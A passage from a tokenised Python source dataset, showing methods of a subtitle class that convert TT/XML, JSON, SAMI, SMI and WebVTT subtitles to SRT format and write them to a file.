"\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "smi", "_", "(_", "subd", "ata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "subtype_", "==_", "\"", "wr", "st", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "wr", "st_", "(_", "subd", "ata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "subtype_", "==_", "\"", "raw", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "is", "\\u", "py2", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "subd", "ata_", "._", "text_", "._", "encode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "subd", "ata_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "platform_", "._", "system_", "(_", ")_", "==_", "\"", "Window", "s", "\"_", "and_", "is", "\\u", "py3", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "d_", "=_", "output_", "(_", "self_", "._", "options_", ",_", "\"", "srt", "\"_", ",_", "mode_", "=_", "\"", "wt", "\"_", ",_", "encoding_", "=_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "d_", "=_", "output_", "(_", "self_", "._", "options_", ",_", "\"", "srt", "\"_", ",_", "mode_", "=_", "\"", "wt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "file", "\\u", "d_", ",_", "\"", "read", "\"_", ")_", "is_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "file", "\\u", "d_", "._", "write_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "d_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "subtitle_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tt_", "(_", "self_", ",_", "subd", "ata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "\\u", "py2", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subs_", "=_", "subd", "ata_", "._", "text_", "._", "encode_", "(_", "\"", "utf", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subs_", "=_", "subd", "ata_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "subd", "ata_", "=_", "re_", "._", "sub_", "(_", "'", " ", "xml", "ns", "=\"", "[", "^", "\"]+", "\"'_", ",_", "''_", ",_", "subs_", ",_", "count_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tree_", "=_", "ET_", "._", "XML_", "(_", "subd", "ata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xml_", "=_", "tree_", "._", "find_", "(_", "\"", "body", "\"_", ")_", "._", "find_", "(_", "\"", "div", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plist_", "=_", "list_", "(_", "xml_", "._", "findall_", "(_", "\"", "p", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node_", "in_", "plist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tag_", "=_", "norm_", "(_", "node_", "._", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tag_", "==_", "\"", "p", "\"_", "or_", "tag_", "==_", "\"", "span", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "begin_", "=_", "node_", "._", "attrib_", "[_", "\"", "begin", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "(_", "\"", "dur", "\"_", "in_", "node_", "._", "attrib_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "duration_", "=_", "node_", "._", "attrib_", "[_", "\"", "duration", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "duration_", "=_", "node_", "._", "attrib_", "[_", "\"", "dur", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "(_", "\"", "end", "\"_", "in_", "node_", "._", "attrib_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "begin", "2_", "=_", "begin_", "._", "split_", "(_", "\":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "2_", "=_", "duration_", "._", "split_", "(_", "\":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sec_", "=_", "float_", "(_", "begin", "2_", "[_", "2_", "]_", ")_", "+_", "float_", "(_", "duration", "2_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sec_", "=_", "0.000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "end_", "=_", "\"%", "02", "d", ":", "%", "02", "d", ":", "%", "0", "6.3", "f", "\"_", "%_", "(_", "int_", "(_", "begin_", "[_", "0_", "]_", ")_", ",_", "int_", "(_", "begin_", "[_", "1_", "]_", ")_", ",_", "sec_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "end_", "=_", "node_", "._", "attrib_", "[_", "\"", "end", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "+=_", "'%", "s", "\\\\", "n", "%", "s", " ", "-->", " ", "%", "s", "\\\\", "n", "'_", "%_", "(_", "i_", ",_", "begin_", "._", "replace_", "(_", "\".\"_", ",_", "\",\"_", ")_", ",_", "end_", "._", "replace_", "(_", "\".\"_", ",_", "\",\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "tt", "\\u", "text_", "(_", "node_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "+=_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "is", "\\u", "py2", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "data_", "._", "encode_", "(_", "\"", "utf", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "subtitle_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "json_", "(_", "self_", ",_", "subd", "ata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "json_", "._", "loads_", "(_", "subd", "ata_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "number_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subs_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subs_", "+=_", "\"%", "s", "\\\\", "n", "%", "s", " ", "-->", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "number_", ",_", "timestr", "_", "(_", "int_", "(_", "i_", "[_", "\"", "start", "Milli", "s", "\"_", "]_", ")_", ")_", ",_", "timestr", "_", "(_", "int_", "(_", "i_", "[_", "\"", "end", "Milli", "s", "\"_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "\\u", "py2", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subs_", "+=_", "\"%", "s", "\\\\", "n", "\\\\", "n", "\"_", "%_", "i_", "[_", "\"", "text", "\"_", "]_", "._", "encode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subs_", "+=_", "\"%", "s", "\\\\", "n", "\\\\", "n", "\"_", "%_", "i_", "[_", "\"", "text", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "number_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "subs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "subtitle_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sam", "i_", "(_", "self_", ",_", "subd", "ata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tree_", "=_", "ET_", "._", "XML_", "(_", "subd", "ata_", "._", "text_", "._", "encode_", "(_", "\"", "utf", "8", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subt", "_", "=_", "tree_", "._", "find_", "(_", "\"", "Font", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subs_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "subt", "_", "._", "geti", "tera", "tor_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "._", "tag_", "==_", "\"", "Subtitle", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "i_", "._", "attrib_", "[_", "\"", "Spot", "Number", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "i_", "._", "attrib_", "[_", "\"", "Spot", "Number", "\"_", "]_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "subs_", "+=_", "\"%", "s", "\\\\", "n", "%", "s", " ", "-->", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "i_", "._", "attrib_", "[_", "\"", "Spot", "Number", "\"_", "]_", ",_", "timeco", "lon_", "(_", "i_", "._", "attrib_", "[_", "\"", "Time", "In", "\"_", "]_", ")_", ",_", "timeco", "lon_", "(_", "i_", "._", "attrib_", "[_", "\"", "Time", "Out", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "subs_", "+=_", "\"\\\\", "n", "%", "s", "\\\\", "n", "%", "s", " ", "-->", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "i_", "._", "attrib_", "[_", "\"", "Spot", "Number", "\"_", "]_", ",_", "timeco", "lon_", "(_", "i_", "._", "attrib_", "[_", "\"", "Time", "In", "\"_", "]_", ")_", ",_", "timeco", "lon_", "(_", "i_", "._", "attrib_", "[_", "\"", "Time", "Out", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "int_", "(_", "n_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "subs_", "+=_", "\"%", "s", "\\\\", "n", "\"_", "%_", "i_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "is", "\\u", "py2", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subs_", "=_", "subs_", "._", "encode_", "(_", "'", "utf", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "subs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "subtitle_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "smi", "_", "(_", "self_", ",_", "subd", "ata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request", "s", "\\u", "version_", "<_", "0x20", "300_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "is", "\\u", "py2", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subd", "ata_", "=_", "subd", "ata_", "._", "content_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subd", "ata_", "=_", "subd", "ata_", "._", "content_", "._", "decode_", "(_", "\"", "latin", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subd", "ata_", "._", "encoding_", "=_", "\"", "ISO", "-", "8859", "-1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subd", "ata_", "=_", "subd", "ata_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ssu", "bda", "ta_", "=_", "String", "IO_", "(_", "subd", "ata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time", "a_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "number_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subs_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TAG", "\\u", "RE_", "=_", "re_", "._", "compile_", "(_", "r", "'<", "[", "^", ">]", "+", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad", "\\u", "char_", "=_", "re_", "._", "compile_", "(_", "r", "'\\\\", "x", "96", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "ssu", "bda", "ta_", "._", "readlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "i_", "._", "rstrip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sync_", "=_", "re_", "._", "search_", "(_", "r", "\"<", "SYNC", " ", "Start", "=(", "\\\\", "d", "+)", ">\"_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sync_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "int_", "(_", "sync_", "._", "group_", "(_", "1_", ")_", ")_", "!=_", "int_", "(_", "time", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "data_", "and_", "data_", "!=_", "\"&", "nb", "sp", ";\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "subs_", "+=_", "\"%", "s", "\\\\", "n", "%", "s", " ", "-->", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "number_", ",_", "timestr", "_", "(_", "time", "a_", ")_", ",_", "timestr", "_", "(_", "sync_", "._", "group_", "(_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "\"%", "s", "\\\\", "n", "\"_", "%_", "TAG", "\\u", "RE_", "._", "sub_", "(_", "''_", ",_", "data_", "._", "replace_", "(_", "\"<", "br", ">\"_", ",_", "\"\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "text_", "[_", "len_", "(_", "text_", ")_", "-_", "2_", "]_", "!=_", "\"\\\\", "n", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "text_", "+=_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "subs_", "+=_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "number_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time", "a_", "=_", "sync_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "text_", "=_", "re_", "._", "search_", "(_", "\"<", "P", " ", "Class", "=", "SVC", "C", ">(.", "*)\"", "_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "text_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "recom", "p_", "=_", "re_", "._", "compile_", "(_", "r", "'\\\\", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "bad", "\\u", "char_", "._", "sub_", "(_", "'-'_", ",_", "recom", "p_", "._", "sub_", "(_", "''_", ",_", "subs_", ")_", ")_", "._", "replace_", "(_", "'&", "quot", ";'_", ",_", "'\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "\\u", "py2", "_", "and_", "isinstance_", "(_", "text_", ",_", "unicode_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "text_", "._", "encode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "subtitle_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "wr", "st_", "(_", "self_", ",_", "subd", "ata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ssu", "bda", "ta_", "=_", "String", "IO_", "(_", "subd", "ata_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "srt", "_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subtract_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "number", "\\u", "b_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "number_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subn", "r_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "ssu", "bda", "ta_", "._", "readlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "=_", "re_", "._", "search_", "(_", "r", "\"", "^", "[\\\\", "r", "\\\\", "n", "]+\"", "_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "2_", "=_", "re_", "._", "search_", "(_", "r", "\"([", "\\\\", "d", ":\\\\", ".]+", " ", "-->", " ", "[\\\\", "d", ":\\\\", ".]+", ")\"_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "3_", "=_", "re_", "._", "search_", "(_", "r", "\"", "^", "(\\\\", "d", "+)\\\\", "s", "\"_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "[_", ":_", "6_", "]_", "==_", "\"", "WEB", "VT", "T", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "match_", "and_", "number", "\\u", "b_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "block_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "srt", "_", "+=_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "match", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "subn", "r_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "srt", "_", "+=_", "\"%", "s", "\\\\", "n", "\"_", "%_", "number", "\\u", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "match", "x_", "=_", "re_", "._", "search_", "(_", "r", "'(\\\\", "d", "+)", ":(", "\\\\", "d", "+)", "[.", ":]", "([\\\\", "d", "\\\\.]", "+)", " ", "-->", " ", "(\\\\", "d", "+)", ":(", "\\\\", "d", "+)", "[.", ":]", "([\\\\", "d", "\\\\.]", "+)'_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hour", "1_", "=_", "int_", "(_", "match", "x_", "._", "group_", "(_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hour", "2_", "=_", "int_", "(_", "match", "x_", "._", "group_", "(_", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "int_", "(_", "number_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "hour", "1_", ">_", "9_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "subtract_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "subtract_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "hour", "1_", "-=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hour", "2_", "-=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "=_", "\"%", "s", ":", "%", "s", ":", "%", "s", " ", "-->", " ", "%", "s", ":", "%", "s", ":", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "hour", "1_", ",_", "match", "x_", "._", "group_", "(_", "2_", ")_", ",_", "match", "x_", "._", "group_", "(_", "3_", ")_", "._", "replace_", "(_", "\".\"_", ",_", "\",\"_", ")_", ",_", "hour", "2_", ",_", "match", "x_", "._", "group_", "(_", "5_", ")_", ",_", "match", "x_", "._", "group_", "(_", "6_", ")_", "._", "replace_", "(_", "\".\"_", ",_", "\",\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "srt", "_", "+=_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subn", "r_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "number", "\\u", "b_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "match", "3_", "and_", "block_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "number_", "=_", "match", "3_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "srt", "_", "+=_", "\"%", "s", "\\\\", "n", "\"_", "%_", "number_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subn", "r_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub_", "=_", "re_", "._", "sub_", "(_", "'<", "[", "^", ">]", "*>", "'_", ",_", "''_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "srt", "_", "+=_", "sub_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "srt", "_", "+=_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "srt", "_", "=_", 